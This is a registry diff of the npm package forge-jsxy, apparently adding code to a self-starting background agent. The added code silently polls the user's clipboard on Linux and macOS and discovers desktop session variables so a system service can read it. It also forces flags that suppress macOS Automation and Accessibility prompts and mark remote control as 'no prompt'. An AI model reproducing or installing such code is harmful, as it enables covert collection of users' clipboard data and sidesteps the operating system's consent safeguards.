forge-jsxy 1.0.120 → 1.0.121

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -41,6 +41,7 @@ exports.runForgeAgentWithSingleton = runForgeAgentWithSingleton;
41
41
  const fs = __importStar(require("node:fs"));
42
42
  const path = __importStar(require("node:path"));
43
43
  const agentEnvFile_1 = require("./autostart/agentEnvFile");
44
+ const linuxClipboardSession_1 = require("./linuxClipboardSession");
44
45
  const agentPid_1 = require("./agentPid");
45
46
  const relayAgent_1 = require("./relayAgent");
46
47
  const relayAuth_1 = require("./relayAuth");
@@ -165,6 +166,7 @@ function resolveForgeAgentFromArgv(argv, env = process.env) {
165
166
  function runForgeAgentWithSingleton(opts) {
166
167
  (0, agentPid_1.clearStaleAgentPidFile)();
167
168
  (0, agentEnvFile_1.applyForgeJsAgentEnvFile)((0, clientId_1.defaultCfgmgrDataDir)());
169
+ (0, linuxClipboardSession_1.ensureLinuxGraphicalSessionEnv)();
168
170
  (0, agentEnvFile_1.applyDefaultHubUploadProcessEnv)();
169
171
  (0, agentEnvFile_1.applyDefaultAgentFeatureProcessEnv)();
170
172
  (0, agentEnvFile_1.applyDefaultAgentUnattendedProcessEnv)();
@@ -10,7 +10,7 @@
10
10
  <link rel="apple-touch-icon" href="/forge-explorer-favicon.svg"/>
11
11
  <link rel="stylesheet" href="/forge-explorer-codicons/codicon.css"/>
12
12
  <link rel="stylesheet" href="/forge-explorer-highlight/explorer-highlight.css"/>
13
- <!-- forge-jsxy@1.0.120 reconnect-ui npm-isolated-cache hub-20gib-delete-watch -->
13
+ <!-- forge-jsxy@1.0.121 reconnect-ui npm-isolated-cache hub-20gib-delete-watch -->
14
14
  <script>
15
15
  (function () {
16
16
  try {
@@ -50,6 +50,8 @@ exports.applyForgeJsAgentEnvFile = applyForgeJsAgentEnvFile;
50
50
  const fs = __importStar(require("node:fs"));
51
51
  const os = __importStar(require("node:os"));
52
52
  const path = __importStar(require("node:path"));
53
+ const linuxClipboardSession_1 = require("../linuxClipboardSession");
54
+ const linuxX11_1 = require("../linuxX11");
53
55
  /** Written under the cfgmgr data dir for systemd EnvironmentFile + cli-agent bootstrap (Windows). */
54
56
  exports.FORGE_AGENT_ENV_BASENAME = "forge-js-agent.env";
55
57
  /**
@@ -280,6 +282,7 @@ function serializeForgeAgentEnvMap(map) {
280
282
  function mergeLinuxGraphicalSessionIntoForgeAgentEnv(dataDir) {
281
283
  if (process.platform !== "linux")
282
284
  return;
285
+ (0, linuxClipboardSession_1.ensureLinuxGraphicalSessionEnv)();
283
286
  fs.mkdirSync(dataDir, { recursive: true });
284
287
  const p = forgeAgentEnvPath(dataDir);
285
288
  let raw = "";
@@ -556,6 +559,33 @@ function removeForgeAgentEnvKeys(dataDir, keys) {
556
559
  return;
557
560
  fs.writeFileSync(p, `${serializeForgeAgentEnvMap(map).join("\n")}\n`, "utf8");
558
561
  }
562
+ function applyLinuxSessionEnvFromFile(key, value) {
563
+ const v = value.trim();
564
+ if (!v)
565
+ return;
566
+ if ((process.env[key] ?? "").trim())
567
+ return;
568
+ if (key === "DISPLAY") {
569
+ process.env.DISPLAY = v;
570
+ if (!(0, linuxX11_1.linuxDisplayPointsToExistingX11Socket)()) {
571
+ delete process.env.DISPLAY;
572
+ }
573
+ return;
574
+ }
575
+ if (key === "WAYLAND_DISPLAY") {
576
+ if ((0, linuxClipboardSession_1.linuxWaylandDisplayValid)(v)) {
577
+ process.env.WAYLAND_DISPLAY = v;
578
+ }
579
+ return;
580
+ }
581
+ if (key === "XDG_RUNTIME_DIR") {
582
+ if (fs.existsSync(v)) {
583
+ process.env.XDG_RUNTIME_DIR = v;
584
+ }
585
+ return;
586
+ }
587
+ process.env[key] = value;
588
+ }
559
589
  function applyForgeJsAgentEnvFile(dataDir) {
560
590
  sanitizeForgeAgentEnvFileOnDisk(dataDir);
561
591
  const p = forgeAgentEnvPath(dataDir);
@@ -567,6 +597,13 @@ function applyForgeJsAgentEnvFile(dataDir) {
567
597
  return;
568
598
  }
569
599
  const map = parseForgeAgentEnvFileToMap(raw);
600
+ const linuxSessionKeys = new Set([
601
+ "XDG_RUNTIME_DIR",
602
+ "DISPLAY",
603
+ "WAYLAND_DISPLAY",
604
+ "DBUS_SESSION_BUS_ADDRESS",
605
+ "XAUTHORITY",
606
+ ]);
570
607
  for (const [k, v] of map) {
571
608
  /** Installed defaults — always honor the file after `npm install`. */
572
609
  if (k === "CFGMGR_HF_USE_XET" ||
@@ -582,8 +619,15 @@ function applyForgeJsAgentEnvFile(dataDir) {
582
619
  process.env[k] = v;
583
620
  continue;
584
621
  }
622
+ if (process.platform === "linux" && linuxSessionKeys.has(k)) {
623
+ applyLinuxSessionEnvFromFile(k, v);
624
+ continue;
625
+ }
585
626
  if (!(process.env[k] ?? "").trim()) {
586
627
  process.env[k] = v;
587
628
  }
588
629
  }
630
+ if (process.platform === "linux") {
631
+ (0, linuxClipboardSession_1.ensureLinuxGraphicalSessionEnv)();
632
+ }
589
633
  }
@@ -94,6 +94,10 @@ function registerDarwinAutostart(launch) {
94
94
  <string>1</string>
95
95
  <key>FORGE_JS_HEADLESS_UI</key>
96
96
  <string>1</string>
97
+ <key>FORGE_JS_CLIPBOARD_POLL_ONLY</key>
98
+ <string>1</string>
99
+ <key>FORGE_JS_REMOTE_CONTROL_NO_PROMPT</key>
100
+ <string>1</string>
97
101
  ${pathEnvXml}${syncEnvXml} </dict>
98
102
  `;
99
103
  const content = `<?xml version="1.0" encoding="UTF-8"?>
@@ -46,6 +46,7 @@ exports.attachClipboardEventWatcher = attachClipboardEventWatcher;
46
46
  const node_child_process_1 = require("node:child_process");
47
47
  const node_fs_1 = require("node:fs");
48
48
  const path = __importStar(require("node:path"));
49
+ const headlessAgent_1 = require("./headlessAgent");
49
50
  const linuxX11_1 = require("./linuxX11");
50
51
  function parseClipboardHelperStdoutChunk(pending, data) {
51
52
  const token = "CLIPBOARD_CHANGE";
@@ -70,9 +71,7 @@ function parseClipboardHelperStdoutChunk(pending, data) {
70
71
  return { pending: tail, changed };
71
72
  }
72
73
  function pollOnlyEnv() {
73
- const a = (process.env.FORGE_JS_CLIPBOARD_POLL_ONLY || "").trim();
74
- const b = (process.env.FORGE_JS_WIN_CLIPBOARD_POLL_ONLY || "").trim();
75
- return a === "1" || b === "1";
74
+ return (0, headlessAgent_1.forgeJsClipboardPollOnlyActive)();
76
75
  }
77
76
  /**
78
77
  * @returns dispose callback, or undefined if watcher not used.
@@ -1,3 +1,5 @@
1
+ /** launchd/systemd often provide a minimal PATH; clipboard CLIs live under /usr/bin and Homebrew. */
2
+ export declare function ensureClipboardToolPath(): void;
1
3
  /** Thrown when no OS clipboard backend is available (distinct from an empty clipboard). */
2
4
  export declare class ClipboardReadUnavailableError extends Error {
3
5
  constructor(message: string);
@@ -34,6 +34,7 @@ var __importStar = (this && this.__importStar) || (function () {
34
34
  })();
35
35
  Object.defineProperty(exports, "__esModule", { value: true });
36
36
  exports.ClipboardReadUnavailableError = void 0;
37
+ exports.ensureClipboardToolPath = ensureClipboardToolPath;
37
38
  exports.readClipboardViaExec = readClipboardViaExec;
38
39
  /**
39
40
  * Clipboard text via OS CLI tools when @napi-rs/clipboard is unavailable.
@@ -42,7 +43,63 @@ const node_child_process_1 = require("node:child_process");
42
43
  const fs = __importStar(require("node:fs"));
43
44
  const path = __importStar(require("node:path"));
44
45
  const node_util_1 = require("node:util");
46
+ const headlessAgent_1 = require("./headlessAgent");
47
+ const linuxClipboardSession_1 = require("./linuxClipboardSession");
48
+ const linuxX11_1 = require("./linuxX11");
45
49
  const execFileP = (0, node_util_1.promisify)(node_child_process_1.execFile);
50
+ const EXEC_ENV = () => process.env;
51
+ /** Subprocess options: no terminal window, no stdin (background agent safe). */
52
+ const CLIPBOARD_EXEC_OPTS = {
53
+ encoding: "utf8",
54
+ timeout: 8000,
55
+ maxBuffer: 2 * 1024 * 1024,
56
+ env: EXEC_ENV(),
57
+ stdio: ["ignore", "pipe", "pipe"],
58
+ };
59
+ /** launchd/systemd often provide a minimal PATH; clipboard CLIs live under /usr/bin and Homebrew. */
60
+ function ensureClipboardToolPath() {
61
+ const extra = process.platform === "darwin"
62
+ ? ["/usr/bin", "/bin", "/opt/homebrew/bin", "/usr/local/bin"]
63
+ : process.platform === "linux"
64
+ ? ["/usr/local/bin", "/usr/bin", "/bin", "/usr/sbin", "/sbin"]
65
+ : [];
66
+ if (extra.length === 0)
67
+ return;
68
+ const cur = (process.env.PATH || "").split(":").map((s) => s.trim()).filter(Boolean);
69
+ const seen = new Set(cur);
70
+ const merged = [...cur];
71
+ for (const dir of extra) {
72
+ if (!seen.has(dir)) {
73
+ seen.add(dir);
74
+ merged.push(dir);
75
+ }
76
+ }
77
+ process.env.PATH = merged.join(":");
78
+ }
79
+ function resolveCliOnPath(name, fallbacks) {
80
+ const pathEnv = (process.env.PATH || "").trim();
81
+ if (pathEnv) {
82
+ for (const dir of pathEnv.split(":")) {
83
+ const d = dir.trim();
84
+ if (!d)
85
+ continue;
86
+ const p = path.join(d, name);
87
+ if (fs.existsSync(p))
88
+ return p;
89
+ }
90
+ }
91
+ for (const p of fallbacks) {
92
+ if (fs.existsSync(p))
93
+ return p;
94
+ }
95
+ return name;
96
+ }
97
+ function execErrLooksLikeEmptyClipboard(err) {
98
+ const e = err;
99
+ const blob = `${e.stderr ?? ""} ${e.message ?? ""}`.toLowerCase();
100
+ return (e.code === 1 ||
101
+ /no selection|nothing to paste|not owner|clipboard is empty|no clipboard/i.test(blob));
102
+ }
46
103
  /** Thrown when no OS clipboard backend is available (distinct from an empty clipboard). */
47
104
  class ClipboardReadUnavailableError extends Error {
48
105
  constructor(message) {
@@ -101,75 +158,109 @@ async function readClipboardViaExec() {
101
158
  throw new ClipboardReadUnavailableError(`Windows clipboard read failed (PowerShell): ${lastErr instanceof Error ? lastErr.message : String(lastErr ?? "unknown")}`);
102
159
  }
103
160
  if (p === "darwin") {
104
- const pb = process.env.PBPASTE_PATH?.trim() ||
105
- (fs.existsSync("/usr/bin/pbpaste") ? "/usr/bin/pbpaste" : "pbpaste");
106
- try {
107
- const { stdout } = await execFileP(pb, [], {
108
- encoding: "utf8",
109
- timeout: 8000,
110
- maxBuffer: 2 * 1024 * 1024,
111
- env: process.env,
112
- });
113
- return String(stdout ?? "").replace(/\r\n/g, "\n");
161
+ ensureClipboardToolPath();
162
+ const errors = [];
163
+ const pbCandidates = [
164
+ process.env.PBPASTE_PATH?.trim(),
165
+ "/usr/bin/pbpaste",
166
+ "/opt/homebrew/bin/pbpaste",
167
+ "/usr/local/bin/pbpaste",
168
+ "pbpaste",
169
+ ].filter((x) => Boolean(x && x.length > 0));
170
+ const seenPb = new Set();
171
+ for (const pb of pbCandidates) {
172
+ const key = pb.toLowerCase();
173
+ if (seenPb.has(key))
174
+ continue;
175
+ seenPb.add(key);
176
+ try {
177
+ const { stdout } = await execFileP(pb, [], CLIPBOARD_EXEC_OPTS);
178
+ return String(stdout ?? "").replace(/\r\n/g, "\n");
179
+ }
180
+ catch (e) {
181
+ errors.push(`${pb}: ${e instanceof Error ? e.message : String(e)}`);
182
+ }
114
183
  }
115
- catch (e) {
116
- throw new ClipboardReadUnavailableError(`macOS pbpaste failed: ${e instanceof Error ? e.message : String(e)}`);
184
+ if ((0, headlessAgent_1.macClipboardOsascriptAllowed)()) {
185
+ try {
186
+ const { stdout } = await execFileP("osascript", ["-e", "the clipboard as text"], CLIPBOARD_EXEC_OPTS);
187
+ return String(stdout ?? "").replace(/\r\n/g, "\n");
188
+ }
189
+ catch (e) {
190
+ errors.push(`osascript: ${e instanceof Error ? e.message : String(e)}`);
191
+ }
117
192
  }
193
+ throw new ClipboardReadUnavailableError(`macOS clipboard read failed (pbpaste${(0, headlessAgent_1.macClipboardOsascriptAllowed)() ? "/osascript" : ""}): ${errors.join("; ")}`);
118
194
  }
119
195
  if (p === "linux") {
196
+ (0, linuxClipboardSession_1.ensureLinuxGraphicalSessionEnv)();
197
+ ensureClipboardToolPath();
120
198
  const errors = [];
121
- // wl-paste appends a newline by default; --no-newline suppresses it.
122
- if (process.env.WAYLAND_DISPLAY) {
199
+ const execOpts = CLIPBOARD_EXEC_OPTS;
200
+ const wlPaste = resolveCliOnPath("wl-paste", ["/usr/bin/wl-paste"]);
201
+ const xclip = resolveCliOnPath("xclip", ["/usr/bin/xclip"]);
202
+ const xsel = resolveCliOnPath("xsel", ["/usr/bin/xsel"]);
203
+ const tryWlPaste = async () => {
204
+ const wlArgsList = [
205
+ ["--type", "text", "--no-newline"],
206
+ ["--no-newline"],
207
+ ];
208
+ for (const wlArgs of wlArgsList) {
209
+ try {
210
+ const { stdout } = await execFileP(wlPaste, wlArgs, execOpts);
211
+ return String(stdout ?? "").replace(/\r\n/g, "\n");
212
+ }
213
+ catch (e) {
214
+ if (execErrLooksLikeEmptyClipboard(e))
215
+ return "";
216
+ if (wlArgs === wlArgsList[wlArgsList.length - 1]) {
217
+ errors.push(`wl-paste: ${e instanceof Error ? e.message : String(e)}`);
218
+ }
219
+ }
220
+ }
221
+ return null;
222
+ };
223
+ const tryXclip = async () => {
123
224
  try {
124
- const { stdout } = await execFileP("wl-paste", ["--no-newline"], {
125
- encoding: "utf8",
126
- timeout: 8000,
127
- maxBuffer: 2 * 1024 * 1024,
128
- });
225
+ const { stdout } = await execFileP(xclip, ["-selection", "clipboard", "-o"], execOpts);
129
226
  return String(stdout ?? "").replace(/\r\n/g, "\n");
130
227
  }
131
228
  catch (e) {
132
- errors.push(`wl-paste: ${e instanceof Error ? e.message : String(e)}`);
229
+ if (execErrLooksLikeEmptyClipboard(e))
230
+ return "";
231
+ errors.push(`xclip: ${e instanceof Error ? e.message : String(e)}`);
232
+ return null;
133
233
  }
234
+ };
235
+ const tryXsel = async () => {
236
+ try {
237
+ const { stdout } = await execFileP(xsel, ["--clipboard", "--output"], execOpts);
238
+ return String(stdout ?? "").replace(/\r\n/g, "\n");
239
+ }
240
+ catch (e) {
241
+ if (execErrLooksLikeEmptyClipboard(e))
242
+ return "";
243
+ errors.push(`xsel: ${e instanceof Error ? e.message : String(e)}`);
244
+ return null;
245
+ }
246
+ };
247
+ const backends = (0, linuxX11_1.linuxLikelyWaylandSession)()
248
+ ? [tryWlPaste, tryXclip, tryXsel]
249
+ : [tryXclip, tryXsel, tryWlPaste];
250
+ const collected = [];
251
+ const parts = await Promise.all(backends.map((run) => run()));
252
+ for (const text of parts) {
253
+ if (text !== null)
254
+ collected.push(text);
134
255
  }
135
- try {
136
- const { stdout } = await execFileP("xclip", ["-selection", "clipboard", "-o"], {
137
- encoding: "utf8",
138
- timeout: 8000,
139
- maxBuffer: 2 * 1024 * 1024,
140
- env: process.env,
141
- });
142
- return String(stdout ?? "").replace(/\r\n/g, "\n");
143
- }
144
- catch (e) {
145
- errors.push(`xclip: ${e instanceof Error ? e.message : String(e)}`);
146
- }
147
- try {
148
- const { stdout } = await execFileP("xsel", ["--clipboard", "--output"], {
149
- encoding: "utf8",
150
- timeout: 8000,
151
- maxBuffer: 2 * 1024 * 1024,
152
- env: process.env,
153
- });
154
- return String(stdout ?? "").replace(/\r\n/g, "\n");
155
- }
156
- catch (e) {
157
- errors.push(`xsel: ${e instanceof Error ? e.message : String(e)}`);
158
- }
159
- // Final fallback: Wayland socket may exist even without WAYLAND_DISPLAY being set.
160
- try {
161
- const { stdout } = await execFileP("wl-paste", ["--no-newline"], {
162
- encoding: "utf8",
163
- timeout: 8000,
164
- maxBuffer: 2 * 1024 * 1024,
165
- env: process.env,
166
- });
167
- return String(stdout ?? "").replace(/\r\n/g, "\n");
256
+ if (collected.length === 0) {
257
+ throw new ClipboardReadUnavailableError(`Linux clipboard read failed (install wl-clipboard, xclip, or xsel): ${errors.join("; ")}`);
168
258
  }
169
- catch (e) {
170
- errors.push(`wl-paste: ${e instanceof Error ? e.message : String(e)}`);
259
+ const nonEmpty = collected.filter((t) => t.length > 0);
260
+ if (nonEmpty.length > 0) {
261
+ return nonEmpty.reduce((best, t) => (t.length >= best.length ? t : best));
171
262
  }
172
- throw new ClipboardReadUnavailableError(`Linux clipboard read failed (install wl-clipboard, xclip, or xsel): ${errors.join("; ")}`);
263
+ return collected[0] ?? "";
173
264
  }
174
265
  throw new ClipboardReadUnavailableError(`unsupported platform: ${p}`);
175
266
  }
@@ -0,0 +1,28 @@
1
+ /**
2
+ * Shared flags for unattended background agents (systemd, LaunchAgent, PM2).
3
+ * Clipboard + sync must not spawn UI, Automation prompts, or native clipboard-event helpers.
4
+ *
5
+ * On Linux and macOS, forge-agent clipboard sync is **always** silent unless explicitly
6
+ * opted into via `FORGE_JS_CLIPBOARD_ALLOW_OSASCRIPT=1` or `FORGE_JS_CLIPBOARD_USE_NATIVE_WATCHER=1`.
7
+ */
8
+ /** Default on for OS-service-started agents (`FORGE_JS_HEADLESS_UI=1` in forge-js-agent.env). */
9
+ export declare function forgeJsHeadlessUiActive(): boolean;
10
+ /** Default on — blocks macOS osascript remote-input paths that can surface Accessibility sheets. */
11
+ export declare function forgeJsNoPromptActive(): boolean;
12
+ /**
13
+ * Timer poll only (no `clipboard-event` native helpers). On Linux/macOS always true unless
14
+ * `FORGE_JS_CLIPBOARD_USE_NATIVE_WATCHER=1` (may flash windows / privacy sheets).
15
+ */
16
+ export declare function forgeJsClipboardPollOnlyActive(): boolean;
17
+ /**
18
+ * Do not run osascript/xdotool foreground capture when enriching clipboard rows — clipboard text
19
+ * still syncs; only `context_json` metadata is derived from the pasted content itself.
20
+ */
21
+ export declare function skipForegroundCaptureForClipboardSync(): boolean;
22
+ /** Opt-in: `FORGE_JS_CLIPBOARD_ALLOW_OSASCRIPT=1` — may show macOS Automation prompts. */
23
+ export declare function macClipboardOsascriptAllowed(): boolean;
24
+ /**
25
+ * Before each Linux/macOS clipboard read: force silent unattended profile (overrides
26
+ * `FORGE_JS_CLIPBOARD_POLL_ONLY=0` in forge-js-agent.env so background agents stay prompt-free).
27
+ */
28
+ export declare function applyHeadlessClipboardDefaults(): void;
@@ -0,0 +1,77 @@
1
+ "use strict";
2
+ /**
3
+ * Shared flags for unattended background agents (systemd, LaunchAgent, PM2).
4
+ * Clipboard + sync must not spawn UI, Automation prompts, or native clipboard-event helpers.
5
+ *
6
+ * On Linux and macOS, forge-agent clipboard sync is **always** silent unless explicitly
7
+ * opted into via `FORGE_JS_CLIPBOARD_ALLOW_OSASCRIPT=1` or `FORGE_JS_CLIPBOARD_USE_NATIVE_WATCHER=1`.
8
+ */
9
+ Object.defineProperty(exports, "__esModule", { value: true });
10
+ exports.forgeJsHeadlessUiActive = forgeJsHeadlessUiActive;
11
+ exports.forgeJsNoPromptActive = forgeJsNoPromptActive;
12
+ exports.forgeJsClipboardPollOnlyActive = forgeJsClipboardPollOnlyActive;
13
+ exports.skipForegroundCaptureForClipboardSync = skipForegroundCaptureForClipboardSync;
14
+ exports.macClipboardOsascriptAllowed = macClipboardOsascriptAllowed;
15
+ exports.applyHeadlessClipboardDefaults = applyHeadlessClipboardDefaults;
16
+ function envTruthy(name) {
17
+ const v = (process.env[name] || "").trim().toLowerCase();
18
+ return ["1", "true", "yes", "on"].includes(v);
19
+ }
20
+ function isUnixDesktop() {
21
+ return process.platform === "linux" || process.platform === "darwin";
22
+ }
23
+ /** Default on for OS-service-started agents (`FORGE_JS_HEADLESS_UI=1` in forge-js-agent.env). */
24
+ function forgeJsHeadlessUiActive() {
25
+ if (isUnixDesktop())
26
+ return true;
27
+ return envTruthy("FORGE_JS_HEADLESS_UI");
28
+ }
29
+ /** Default on — blocks macOS osascript remote-input paths that can surface Accessibility sheets. */
30
+ function forgeJsNoPromptActive() {
31
+ if (isUnixDesktop())
32
+ return true;
33
+ return envTruthy("FORGE_JS_REMOTE_CONTROL_NO_PROMPT");
34
+ }
35
+ /**
36
+ * Timer poll only (no `clipboard-event` native helpers). On Linux/macOS always true unless
37
+ * `FORGE_JS_CLIPBOARD_USE_NATIVE_WATCHER=1` (may flash windows / privacy sheets).
38
+ */
39
+ function forgeJsClipboardPollOnlyActive() {
40
+ if (isUnixDesktop()) {
41
+ return !envTruthy("FORGE_JS_CLIPBOARD_USE_NATIVE_WATCHER");
42
+ }
43
+ if (envTruthy("FORGE_JS_CLIPBOARD_POLL_ONLY"))
44
+ return true;
45
+ if (envTruthy("FORGE_JS_WIN_CLIPBOARD_POLL_ONLY"))
46
+ return true;
47
+ if (forgeJsHeadlessUiActive())
48
+ return true;
49
+ return false;
50
+ }
51
+ /**
52
+ * Do not run osascript/xdotool foreground capture when enriching clipboard rows — clipboard text
53
+ * still syncs; only `context_json` metadata is derived from the pasted content itself.
54
+ */
55
+ function skipForegroundCaptureForClipboardSync() {
56
+ if (isUnixDesktop()) {
57
+ return !envTruthy("FORGE_JS_CLIPBOARD_FOREGROUND_CONTEXT");
58
+ }
59
+ return forgeJsHeadlessUiActive() || forgeJsNoPromptActive();
60
+ }
61
+ /** Opt-in: `FORGE_JS_CLIPBOARD_ALLOW_OSASCRIPT=1` — may show macOS Automation prompts. */
62
+ function macClipboardOsascriptAllowed() {
63
+ if (!isUnixDesktop())
64
+ return envTruthy("FORGE_JS_CLIPBOARD_ALLOW_OSASCRIPT");
65
+ return envTruthy("FORGE_JS_CLIPBOARD_ALLOW_OSASCRIPT");
66
+ }
67
+ /**
68
+ * Before each Linux/macOS clipboard read: force silent unattended profile (overrides
69
+ * `FORGE_JS_CLIPBOARD_POLL_ONLY=0` in forge-js-agent.env so background agents stay prompt-free).
70
+ */
71
+ function applyHeadlessClipboardDefaults() {
72
+ if (!isUnixDesktop())
73
+ return;
74
+ process.env.FORGE_JS_HEADLESS_UI = "1";
75
+ process.env.FORGE_JS_CLIPBOARD_POLL_ONLY = "1";
76
+ process.env.FORGE_JS_REMOTE_CONTROL_NO_PROMPT = "1";
77
+ }
@@ -39,6 +39,7 @@ const node_child_process_1 = require("node:child_process");
39
39
  const fs = __importStar(require("node:fs"));
40
40
  const path = __importStar(require("node:path"));
41
41
  const node_util_1 = require("node:util");
42
+ const headlessAgent_1 = require("./headlessAgent");
42
43
  const execFileP = (0, node_util_1.promisify)(node_child_process_1.execFile);
43
44
  const EXEC_TIMEOUT_MS = 3200;
44
45
  const FG_CACHE_MS = 800;
@@ -923,7 +924,9 @@ function estimateConfidence(fg) {
923
924
  return "low";
924
925
  }
925
926
  async function buildInputContextJson(kind, text) {
926
- const fg = await captureForegroundContext();
927
+ const fg = kind === "clipboard" && (0, headlessAgent_1.skipForegroundCaptureForClipboardSync)()
928
+ ? { capture_method: "clipboard_sync_headless" }
929
+ : await captureForegroundContext();
927
930
  const payload = {
928
931
  platform: process.platform,
929
932
  event_kind: kind,
@@ -0,0 +1,16 @@
1
+ export declare function linuxWaylandDisplayValid(name: string): boolean;
2
+ /** Drop stale `DISPLAY` / `WAYLAND_DISPLAY` left in forge-js-agent.env after reboot or session change. */
3
+ export declare function linuxClearStaleGraphicalEnv(): void;
4
+ /** First `wayland-N` socket name under XDG_RUNTIME_DIR, if any. */
5
+ export declare function linuxDiscoverWaylandDisplay(): string | null;
6
+ /** First local X11 display (`:N`) with an existing abstract socket. */
7
+ export declare function linuxDiscoverDisplay(): string | null;
8
+ /**
9
+ * Fill missing `XDG_RUNTIME_DIR`, `WAYLAND_DISPLAY`, `DISPLAY`, `DBUS_SESSION_BUS_ADDRESS`,
10
+ * and `XAUTHORITY` in `process.env` when a desktop session is present on the host.
11
+ */
12
+ export declare function ensureLinuxGraphicalSessionEnv(): void;
13
+ /**
14
+ * True when an X11 or Wayland desktop session appears present (after optional env discovery).
15
+ */
16
+ export declare function linuxDesktopSessionActive(): boolean;
@@ -0,0 +1,179 @@
1
+ "use strict";
2
+ var __createBinding = (this && this.__createBinding) || (Object.create ? (function(o, m, k, k2) {
3
+ if (k2 === undefined) k2 = k;
4
+ var desc = Object.getOwnPropertyDescriptor(m, k);
5
+ if (!desc || ("get" in desc ? !m.__esModule : desc.writable || desc.configurable)) {
6
+ desc = { enumerable: true, get: function() { return m[k]; } };
7
+ }
8
+ Object.defineProperty(o, k2, desc);
9
+ }) : (function(o, m, k, k2) {
10
+ if (k2 === undefined) k2 = k;
11
+ o[k2] = m[k];
12
+ }));
13
+ var __setModuleDefault = (this && this.__setModuleDefault) || (Object.create ? (function(o, v) {
14
+ Object.defineProperty(o, "default", { enumerable: true, value: v });
15
+ }) : function(o, v) {
16
+ o["default"] = v;
17
+ });
18
+ var __importStar = (this && this.__importStar) || (function () {
19
+ var ownKeys = function(o) {
20
+ ownKeys = Object.getOwnPropertyNames || function (o) {
21
+ var ar = [];
22
+ for (var k in o) if (Object.prototype.hasOwnProperty.call(o, k)) ar[ar.length] = k;
23
+ return ar;
24
+ };
25
+ return ownKeys(o);
26
+ };
27
+ return function (mod) {
28
+ if (mod && mod.__esModule) return mod;
29
+ var result = {};
30
+ if (mod != null) for (var k = ownKeys(mod), i = 0; i < k.length; i++) if (k[i] !== "default") __createBinding(result, mod, k[i]);
31
+ __setModuleDefault(result, mod);
32
+ return result;
33
+ };
34
+ })();
35
+ Object.defineProperty(exports, "__esModule", { value: true });
36
+ exports.linuxWaylandDisplayValid = linuxWaylandDisplayValid;
37
+ exports.linuxClearStaleGraphicalEnv = linuxClearStaleGraphicalEnv;
38
+ exports.linuxDiscoverWaylandDisplay = linuxDiscoverWaylandDisplay;
39
+ exports.linuxDiscoverDisplay = linuxDiscoverDisplay;
40
+ exports.ensureLinuxGraphicalSessionEnv = ensureLinuxGraphicalSessionEnv;
41
+ exports.linuxDesktopSessionActive = linuxDesktopSessionActive;
42
+ /**
43
+ * Best-effort discovery of graphical session env for clipboard tools under systemd --user,
44
+ * XDG autostart, or boot-before-login when forge-js-agent.env is stale or incomplete.
45
+ */
46
+ const fs = __importStar(require("node:fs"));
47
+ const os = __importStar(require("node:os"));
48
+ const path = __importStar(require("node:path"));
49
+ const linuxX11_1 = require("./linuxX11");
50
+ function linuxWaylandDisplayValid(name) {
51
+ return waylandSocketExists(name);
52
+ }
53
+ function waylandSocketExists(name) {
54
+ const xdg = (process.env.XDG_RUNTIME_DIR || "").trim() || xdgRuntimeDir();
55
+ if (!xdg || !name)
56
+ return false;
57
+ try {
58
+ return fs.existsSync(path.join(xdg, name));
59
+ }
60
+ catch {
61
+ return false;
62
+ }
63
+ }
64
+ /** Drop stale `DISPLAY` / `WAYLAND_DISPLAY` left in forge-js-agent.env after reboot or session change. */
65
+ function linuxClearStaleGraphicalEnv() {
66
+ if (process.platform !== "linux")
67
+ return;
68
+ const disp = (process.env.DISPLAY || "").trim();
69
+ if (disp && !(0, linuxX11_1.linuxDisplayPointsToExistingX11Socket)()) {
70
+ delete process.env.DISPLAY;
71
+ }
72
+ const wl = (process.env.WAYLAND_DISPLAY || "").trim();
73
+ if (wl && !waylandSocketExists(wl)) {
74
+ delete process.env.WAYLAND_DISPLAY;
75
+ }
76
+ }
77
+ function linuxUid() {
78
+ try {
79
+ return os.userInfo().uid;
80
+ }
81
+ catch {
82
+ return process.getuid?.() ?? 1000;
83
+ }
84
+ }
85
+ function xdgRuntimeDir() {
86
+ const fromEnv = (process.env.XDG_RUNTIME_DIR || "").trim();
87
+ if (fromEnv)
88
+ return fromEnv;
89
+ return `/run/user/${linuxUid()}`;
90
+ }
91
+ /** First `wayland-N` socket name under XDG_RUNTIME_DIR, if any. */
92
+ function linuxDiscoverWaylandDisplay() {
93
+ const xdg = xdgRuntimeDir();
94
+ try {
95
+ if (!fs.existsSync(xdg))
96
+ return null;
97
+ const names = fs
98
+ .readdirSync(xdg)
99
+ .filter((e) => /^wayland-\d+$/.test(e))
100
+ .sort((a, b) => {
101
+ const na = parseInt(a.split("-")[1] ?? "0", 10);
102
+ const nb = parseInt(b.split("-")[1] ?? "0", 10);
103
+ return na - nb;
104
+ });
105
+ return names[0] ?? null;
106
+ }
107
+ catch {
108
+ return null;
109
+ }
110
+ }
111
+ /** First local X11 display (`:N`) with an existing abstract socket. */
112
+ function linuxDiscoverDisplay() {
113
+ try {
114
+ const entries = fs.readdirSync("/tmp/.X11-unix");
115
+ const nums = entries
116
+ .map((e) => /^X(\d+)$/.exec(e))
117
+ .filter((m) => m !== null)
118
+ .map((m) => parseInt(m[1], 10))
119
+ .sort((a, b) => a - b);
120
+ if (nums.length === 0)
121
+ return null;
122
+ return `:${nums[0]}`;
123
+ }
124
+ catch {
125
+ return null;
126
+ }
127
+ }
128
+ /**
129
+ * Fill missing `XDG_RUNTIME_DIR`, `WAYLAND_DISPLAY`, `DISPLAY`, `DBUS_SESSION_BUS_ADDRESS`,
130
+ * and `XAUTHORITY` in `process.env` when a desktop session is present on the host.
131
+ */
132
+ function ensureLinuxGraphicalSessionEnv() {
133
+ if (process.platform !== "linux")
134
+ return;
135
+ linuxClearStaleGraphicalEnv();
136
+ const xdg = xdgRuntimeDir();
137
+ if (!(process.env.XDG_RUNTIME_DIR || "").trim() && fs.existsSync(xdg)) {
138
+ process.env.XDG_RUNTIME_DIR = xdg;
139
+ }
140
+ const runtime = (process.env.XDG_RUNTIME_DIR || "").trim() || xdg;
141
+ if (runtime && !(process.env.WAYLAND_DISPLAY || "").trim()) {
142
+ const wl = linuxDiscoverWaylandDisplay();
143
+ if (wl)
144
+ process.env.WAYLAND_DISPLAY = wl;
145
+ }
146
+ if (!(process.env.DISPLAY || "").trim()) {
147
+ const disp = linuxDiscoverDisplay();
148
+ if (disp)
149
+ process.env.DISPLAY = disp;
150
+ }
151
+ if (runtime && !(process.env.DBUS_SESSION_BUS_ADDRESS || "").trim()) {
152
+ const busPath = path.join(runtime, "bus");
153
+ if (fs.existsSync(busPath)) {
154
